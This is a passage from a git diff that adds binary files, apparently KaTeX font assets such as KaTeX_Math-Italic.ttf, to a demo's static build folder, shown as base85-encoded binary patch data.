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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Math-Italic.ttf b/demo/static/dist/assets/KaTeX_Math-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..70d559b4e937ca1b805eb39f544cbebe3c58ca6f GIT binary patch literal 31308 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 